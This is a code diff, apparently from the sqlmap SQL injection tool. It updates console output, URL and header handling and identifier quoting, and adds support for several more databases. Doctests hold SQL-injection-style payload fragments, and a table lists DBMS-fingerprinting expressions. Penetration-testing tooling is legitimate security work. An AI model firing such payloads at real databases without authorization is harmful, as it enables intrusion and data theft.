def isDbmsWithin(aliases):
|
||||||
return Backend.getDbms() is not None and Backend.getDbms().lower() in aliases
|
return Backend.getDbms() is not None and Backend.getDbms().lower() in aliases
|
||||||
@@ -930,20 +935,39 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
|
|||||||
|
|
||||||
>>> setColor("Hello World", color="red", istty=True)
|
>>> setColor("Hello World", color="red", istty=True)
|
||||||
'\\x1b[31mHello World\\x1b[0m'
|
'\\x1b[31mHello World\\x1b[0m'
|
||||||
|
>>> setColor("[INFO] Hello World", istty=True)
|
||||||
|
'[\\x1b[32mINFO\\x1b[0m] Hello World'
|
||||||
|
>>> setColor("[INFO] Hello [CRITICAL] World", istty=True)
|
||||||
|
'[INFO] Hello [CRITICAL] World'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = message
|
retVal = message
|
||||||
level = level or extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
|
|
||||||
|
|
||||||
if message and (IS_TTY or istty) and not conf.get("disableColoring"): # colorizing handler
|
if message:
|
||||||
if bold or color:
|
if (IS_TTY or istty) and not conf.get("disableColoring"): # colorizing handler
|
||||||
retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
|
if level is None:
|
||||||
elif level:
|
levels = re.findall(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
|
||||||
try:
|
|
||||||
level = getattr(logging, level, None)
|
if len(levels) == 1:
|
||||||
except:
|
level = levels[0]
|
||||||
level = None
|
|
||||||
retVal = LOGGER_HANDLER.colorize(message, level)
|
if bold or color:
|
||||||
|
retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
|
||||||
|
elif level:
|
||||||
|
try:
|
||||||
|
level = getattr(logging, level, None)
|
||||||
|
except:
|
||||||
|
level = None
|
||||||
|
retVal = LOGGER_HANDLER.colorize(message, level)
|
||||||
|
else:
|
||||||
|
match = re.search(r"\(([^)]*)\s*fork\)", message)
|
||||||
|
if match:
|
||||||
|
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
|
||||||
|
|
||||||
|
for match in re.finditer(r"([^\w])'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner)
|
||||||
|
retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
|
||||||
|
|
||||||
|
message = message.strip()
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -962,11 +986,17 @@ def clearColors(message):
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS):
|
def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=CONTENT_STATUS.IN_PROGRESS, coloring=True):
|
||||||
"""
|
"""
|
||||||
Writes text to the stdout (console) stream
|
Writes text to the stdout (console) stream
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if not IS_TTY and isinstance(data, six.string_types) and data.startswith("\r"):
|
||||||
|
if re.search(r"\(\d+%\)", data):
|
||||||
|
data = ""
|
||||||
|
else:
|
||||||
|
data = "\n%s" % data.strip("\r")
|
||||||
|
|
||||||
if not kb.get("threadException"):
|
if not kb.get("threadException"):
|
||||||
if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
|
if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
|
||||||
multiThreadMode = isMultiThreadMode()
|
multiThreadMode = isMultiThreadMode()
|
||||||
@@ -975,9 +1005,9 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
if conf.get("api"):
|
if conf.get("api"):
|
||||||
sys.stdout.write(stdoutEncode(clearColors(data)), status, content_type)
|
sys.stdout.write(stdoutEncode(clearColors(data)), status, contentType)
|
||||||
else:
|
else:
|
||||||
sys.stdout.write(stdoutEncode(setColor(data, bold=bold)))
|
sys.stdout.write(stdoutEncode(setColor(data, bold=bold) if coloring else clearColors(data)))
|
||||||
|
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
except IOError:
|
except IOError:
|
||||||
@@ -1109,7 +1139,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
|
|||||||
if not retVal: # Note: Python doesn't print newline on empty input
|
if not retVal: # Note: Python doesn't print newline on empty input
|
||||||
dataToStdout("\n")
|
dataToStdout("\n")
|
||||||
retVal = retVal.strip() or default
|
retVal = retVal.strip() or default
|
||||||
retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
|
retVal = getUnicode(retVal, encoding=getattr(sys.stdin, "encoding", None)) if retVal else retVal
|
||||||
except:
|
except:
|
||||||
try:
|
try:
|
||||||
time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893
|
time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893
|
||||||
@@ -1192,9 +1222,9 @@ def randomStr(length=4, lowercase=False, alphabet=None, seed=None):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
if seed is not None:
|
if seed is not None:
|
||||||
_ = getCurrentThreadData().random
|
_random = getCurrentThreadData().random
|
||||||
_.seed(seed)
|
_random.seed(seed)
|
||||||
choice = _.choice
|
choice = _random.choice
|
||||||
else:
|
else:
|
||||||
choice = random.choice
|
choice = random.choice
|
||||||
|
|
||||||
@@ -1226,10 +1256,12 @@ def getHeader(headers, key):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
for _ in (headers or {}):
|
|
||||||
if _.upper() == key.upper():
|
for header in (headers or {}):
|
||||||
retVal = headers[_]
|
if header.upper() == key.upper():
|
||||||
|
retVal = headers[header]
|
||||||
break
|
break
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def checkPipedInput():
|
def checkPipedInput():
|
||||||
@@ -1410,6 +1442,7 @@ def setPaths(rootPath):
|
|||||||
checkFile(path)
|
checkFile(path)
|
||||||
|
|
||||||
if IS_WIN:
|
if IS_WIN:
|
||||||
|
# Reference: https://pureinfotech.com/list-environment-variables-windows-10/
|
||||||
if os.getenv("LOCALAPPDATA"):
|
if os.getenv("LOCALAPPDATA"):
|
||||||
paths.SQLMAP_HOME_PATH = os.path.expandvars("%LOCALAPPDATA%\\sqlmap")
|
paths.SQLMAP_HOME_PATH = os.path.expandvars("%LOCALAPPDATA%\\sqlmap")
|
||||||
elif os.getenv("USERPROFILE"):
|
elif os.getenv("USERPROFILE"):
|
||||||
@@ -1423,7 +1456,7 @@ def setPaths(rootPath):
|
|||||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||||
|
|
||||||
# history files
|
# History files
|
||||||
paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
|
paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||||
paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst")
|
paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst")
|
||||||
paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst")
|
paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst")
|
||||||
@@ -1580,7 +1613,7 @@ def parseTargetUrl():
|
|||||||
originalUrl = conf.url
|
originalUrl = conf.url
|
||||||
|
|
||||||
if re.search(r"\[.+\]", conf.url) and not socket.has_ipv6:
|
if re.search(r"\[.+\]", conf.url) and not socket.has_ipv6:
|
||||||
errMsg = "IPv6 addressing is not supported "
|
errMsg = "IPv6 communication is not supported "
|
||||||
errMsg += "on this platform"
|
errMsg += "on this platform"
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
@@ -1637,7 +1670,7 @@ def parseTargetUrl():
|
|||||||
conf.port = 80
|
conf.port = 80
|
||||||
|
|
||||||
if conf.port < 1 or conf.port > 65535:
|
if conf.port < 1 or conf.port > 65535:
|
||||||
errMsg = "invalid target URL's port (%d)" % conf.port
|
errMsg = "invalid target URL port (%d)" % conf.port
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
|
conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
|
||||||
@@ -1649,13 +1682,13 @@ def parseTargetUrl():
|
|||||||
else:
|
else:
|
||||||
conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
|
conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
|
||||||
|
|
||||||
if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
|
if (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3) and not any(_[0].upper() == HTTP_HEADER.REFERER.upper() for _ in conf.httpHeaders):
|
||||||
debugMsg = "setting the HTTP Referer header to the target URL"
|
debugMsg = "setting the HTTP Referer header to the target URL"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER]
|
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER]
|
||||||
conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, "")))
|
conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, "")))
|
||||||
|
|
||||||
if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5):
|
if (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5) and not any(_[0].upper() == HTTP_HEADER.HOST.upper() for _ in conf.httpHeaders):
|
||||||
debugMsg = "setting the HTTP Host header to the target URL"
|
debugMsg = "setting the HTTP Host header to the target URL"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST]
|
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST]
|
||||||
@@ -2703,6 +2736,12 @@ def extractErrorMessage(page):
|
|||||||
retVal = candidate
|
retVal = candidate
|
||||||
break
|
break
|
||||||
|
|
||||||
|
if not retVal and wasLastResponseDBMSError():
|
||||||
|
match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE)
|
||||||
|
|
||||||
|
if match:
|
||||||
|
retVal = match.group(0)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def findLocalPort(ports):
|
def findLocalPort(ports):
|
||||||
@@ -2803,6 +2842,10 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
|||||||
|
|
||||||
>>> urlencode('AND 1>(2+3)#')
|
>>> urlencode('AND 1>(2+3)#')
|
||||||
'AND%201%3E%282%2B3%29%23'
|
'AND%201%3E%282%2B3%29%23'
|
||||||
|
>>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%DBA%\\')>0')
|
||||||
|
'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25DBA%25%27%29%3E0'
|
||||||
|
>>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%_SYSTEM%\\')>0')
|
||||||
|
'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25_SYSTEM%25%27%29%3E0'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.get("direct"):
|
if conf.get("direct"):
|
||||||
@@ -2825,6 +2868,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
|||||||
# encoded (when not representing URL encoded char)
|
# encoded (when not representing URL encoded char)
|
||||||
# except in cases when tampering scripts are used
|
# except in cases when tampering scripts are used
|
||||||
if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
|
if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
|
||||||
|
value = re.sub(r"(?<= ')%", "%25", value) # e.g. LIKE '%DBA%'
|
||||||
value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value)
|
value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
@@ -3693,7 +3737,7 @@ def unhandledExceptionMessage():
|
|||||||
errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
|
errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
|
||||||
errMsg += "Python version: %s\n" % PYVERSION
|
errMsg += "Python version: %s\n" % PYVERSION
|
||||||
errMsg += "Operating system: %s\n" % platform.platform()
|
errMsg += "Operating system: %s\n" % platform.platform()
|
||||||
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
|
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None)))
|
||||||
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None))
|
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None))
|
||||||
errMsg += "Back-end DBMS:"
|
errMsg += "Back-end DBMS:"
|
||||||
|
|
||||||
@@ -3988,7 +4032,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
|
|||||||
thread.start()
|
thread.start()
|
||||||
thread.join(REFLECTED_REPLACEMENT_TIMEOUT)
|
thread.join(REFLECTED_REPLACEMENT_TIMEOUT)
|
||||||
|
|
||||||
if thread.isAlive():
|
if thread.is_alive():
|
||||||
kb.reflectiveMechanism = False
|
kb.reflectiveMechanism = False
|
||||||
retVal = content
|
retVal = content
|
||||||
if not suppressWarning:
|
if not suppressWarning:
|
||||||
@@ -4067,12 +4111,13 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
|||||||
if _:
|
if _:
|
||||||
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
|
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
|
||||||
|
|
||||||
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
|
# Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf)
|
||||||
|
if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
|
||||||
retVal = unsafeSQLIdentificatorNaming(retVal)
|
retVal = unsafeSQLIdentificatorNaming(retVal)
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||||
retVal = "`%s`" % retVal
|
retVal = "`%s`" % retVal
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
||||||
retVal = "\"%s\"" % retVal
|
retVal = "\"%s\"" % retVal
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
retVal = "\"%s\"" % retVal.upper()
|
retVal = "\"%s\"" % retVal.upper()
|
||||||
@@ -4108,9 +4153,9 @@ def unsafeSQLIdentificatorNaming(name):
|
|||||||
retVal = name
|
retVal = name
|
||||||
|
|
||||||
if isinstance(name, six.string_types):
|
if isinstance(name, six.string_types):
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
|
||||||
retVal = name.replace("`", "")
|
retVal = name.replace("`", "")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
||||||
retVal = name.replace("\"", "")
|
retVal = name.replace("\"", "")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
retVal = name.replace("\"", "").upper()
|
retVal = name.replace("\"", "").upper()
|
||||||
@@ -4790,6 +4835,8 @@ def extractExpectedValue(value, expected):
|
|||||||
True
|
True
|
||||||
>>> extractExpectedValue('1', EXPECTED.INT)
|
>>> extractExpectedValue('1', EXPECTED.INT)
|
||||||
1
|
1
|
||||||
|
>>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if expected:
|
if expected:
|
||||||
@@ -4813,8 +4860,10 @@ def extractExpectedValue(value, expected):
|
|||||||
else:
|
else:
|
||||||
value = None
|
value = None
|
||||||
elif expected == EXPECTED.INT:
|
elif expected == EXPECTED.INT:
|
||||||
if isinstance(value, six.string_types):
|
try:
|
||||||
value = int(value) if value.isdigit() else None
|
value = int(value)
|
||||||
|
except:
|
||||||
|
value = None
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
@@ -5146,6 +5195,11 @@ def parseRequestFile(reqFile, checkParams=True):
|
|||||||
key, value = line.split(":", 1)
|
key, value = line.split(":", 1)
|
||||||
value = value.strip().replace("\r", "").replace("\n", "")
|
value = value.strip().replace("\r", "").replace("\n", "")
|
||||||
|
|
||||||
|
# Note: overriding values with --headers '...'
|
||||||
|
match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "")
|
||||||
|
if match:
|
||||||
|
key, value = match.groups()
|
||||||
|
|
||||||
# Cookie and Host headers
|
# Cookie and Host headers
|
||||||
if key.upper() == HTTP_HEADER.COOKIE.upper():
|
if key.upper() == HTTP_HEADER.COOKIE.upper():
|
||||||
cookie = value
|
cookie = value
|
||||||
|
|||||||
+1
-1
@@ -95,7 +95,7 @@ def htmlUnescape(value):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
retVal = re.sub(r"&#x([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal)
|
retVal = re.sub(r"&#x([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal)
|
||||||
except ValueError:
|
except (ValueError, OverflowError):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|||||||
+39
-1
@@ -12,9 +12,14 @@ from lib.core.enums import POST_HINT
|
|||||||
from lib.core.settings import ACCESS_ALIASES
|
from lib.core.settings import ACCESS_ALIASES
|
||||||
from lib.core.settings import ALTIBASE_ALIASES
|
from lib.core.settings import ALTIBASE_ALIASES
|
||||||
from lib.core.settings import BLANK
|
from lib.core.settings import BLANK
|
||||||
|
from lib.core.settings import CACHE_ALIASES
|
||||||
|
from lib.core.settings import CRATEDB_ALIASES
|
||||||
|
from lib.core.settings import CUBRID_ALIASES
|
||||||
from lib.core.settings import DB2_ALIASES
|
from lib.core.settings import DB2_ALIASES
|
||||||
from lib.core.settings import DERBY_ALIASES
|
from lib.core.settings import DERBY_ALIASES
|
||||||
|
from lib.core.settings import EXTREMEDB_ALIASES
|
||||||
from lib.core.settings import FIREBIRD_ALIASES
|
from lib.core.settings import FIREBIRD_ALIASES
|
||||||
|
from lib.core.settings import FRONTBASE_ALIASES
|
||||||
from lib.core.settings import H2_ALIASES
|
from lib.core.settings import H2_ALIASES
|
||||||
from lib.core.settings import HSQLDB_ALIASES
|
from lib.core.settings import HSQLDB_ALIASES
|
||||||
from lib.core.settings import INFORMIX_ALIASES
|
from lib.core.settings import INFORMIX_ALIASES
|
||||||
@@ -115,6 +120,28 @@ SYBASE_TYPES = {
|
|||||||
20: "image",
|
20: "image",
|
||||||
}
|
}
|
||||||
|
|
||||||
|
ALTIBASE_TYPES = {
|
||||||
|
1: "CHAR",
|
||||||
|
12: "VARCHAR",
|
||||||
|
-8: "NCHAR",
|
||||||
|
-9: "NVARCHAR",
|
||||||
|
2: "NUMERIC",
|
||||||
|
6: "FLOAT",
|
||||||
|
8: "DOUBLE",
|
||||||
|
7: "REAL",
|
||||||
|
-5: "BIGINT",
|
||||||
|
4: "INTEGER",
|
||||||
|
5: "SMALLINT",
|
||||||
|
9: "DATE",
|
||||||
|
30: "BLOB",
|
||||||
|
40: "CLOB",
|
||||||
|
20001: "BYTE",
|
||||||
|
20002: "NIBBLE",
|
||||||
|
-7: "BIT",
|
||||||
|
-100: "VARBIT",
|
||||||
|
10003: "GEOMETRY",
|
||||||
|
}
|
||||||
|
|
||||||
MYSQL_PRIVS = {
|
MYSQL_PRIVS = {
|
||||||
1: "select_priv",
|
1: "select_priv",
|
||||||
2: "insert_priv",
|
2: "insert_priv",
|
||||||
@@ -212,6 +239,11 @@ DBMS_DICT = {
|
|||||||
DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
|
DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
|
||||||
DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
|
DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
|
||||||
DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None),
|
DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None),
|
||||||
|
DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
|
||||||
|
DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None),
|
||||||
|
DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
|
||||||
|
DBMS.EXTREMEDB: (EXTREMEDB_ALIASES, None, None, None),
|
||||||
|
DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None),
|
||||||
}
|
}
|
||||||
|
|
||||||
# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
|
# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
|
||||||
@@ -225,6 +257,7 @@ FROM_DUMMY_TABLE = {
|
|||||||
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
|
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
|
||||||
DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1",
|
DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1",
|
||||||
DBMS.MIMERSQL: " FROM SYSTEM.ONEROW",
|
DBMS.MIMERSQL: " FROM SYSTEM.ONEROW",
|
||||||
|
DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS"
|
||||||
}
|
}
|
||||||
|
|
||||||
HEURISTIC_NULL_EVAL = {
|
HEURISTIC_NULL_EVAL = {
|
||||||
@@ -235,13 +268,18 @@ HEURISTIC_NULL_EVAL = {
|
|||||||
DBMS.ORACLE: "INSTR2(NULL,NULL)",
|
DBMS.ORACLE: "INSTR2(NULL,NULL)",
|
||||||
DBMS.PGSQL: "QUOTE_IDENT(NULL)",
|
DBMS.PGSQL: "QUOTE_IDENT(NULL)",
|
||||||
DBMS.SQLITE: "UNLIKELY(NULL)",
|
DBMS.SQLITE: "UNLIKELY(NULL)",
|
||||||
|
DBMS.H2: "STRINGTOUTF8(NULL)",
|
||||||
DBMS.MONETDB: "CODE(NULL)",
|
DBMS.MONETDB: "CODE(NULL)",
|
||||||
DBMS.DERBY: "NULLIF(USER,SESSION_USER)",
|
DBMS.DERBY: "NULLIF(USER,SESSION_USER)",
|
||||||
DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)",
|
DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)",
|
||||||
DBMS.MCKOI: "TONUMBER(NULL)",
|
DBMS.MCKOI: "TONUMBER(NULL)",
|
||||||
DBMS.PRESTO: "FROM_HEX(NULL)",
|
DBMS.PRESTO: "FROM_HEX(NULL)",
|
||||||
DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
|
DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
|
||||||
DBMS.MIMERSQL: "ASCII_CHAR(256) IS NULL",
|
DBMS.MIMERSQL: "ASCII_CHAR(256)",
|
||||||
|
DBMS.CRATEDB: "MD5(NULL~NULL)", # Note: NULL~NULL also being evaluated on H2 and Ignite
|
||||||
|
DBMS.CUBRID: "(NULL SETEQ NULL)",
|
||||||
|
DBMS.CACHE: "%SQLUPPER NULL",
|
||||||
|
DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
|
||||||
}
|
}
|
||||||
|
|
||||||
SQL_STATEMENTS = {
|
SQL_STATEMENTS = {
|
||||||
|
|||||||
+5
-7
@@ -72,7 +72,7 @@ class Dump(object):
|
|||||||
text = "%s%s" % (data, "\n" if newline else " ")
|
text = "%s%s" % (data, "\n" if newline else " ")
|
||||||
|
|
||||||
if conf.api:
|
if conf.api:
|
||||||
dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
|
dataToStdout(data, contentType=content_type, status=CONTENT_STATUS.COMPLETE)
|
||||||
|
|
||||||
elif console:
|
elif console:
|
||||||
dataToStdout(text)
|
dataToStdout(text)
|
||||||
@@ -164,12 +164,10 @@ class Dump(object):
|
|||||||
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
|
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
|
||||||
|
|
||||||
def currentDb(self, data):
|
def currentDb(self, data):
|
||||||
if Backend.isDbms(DBMS.MAXDB):
|
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
|
||||||
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||||
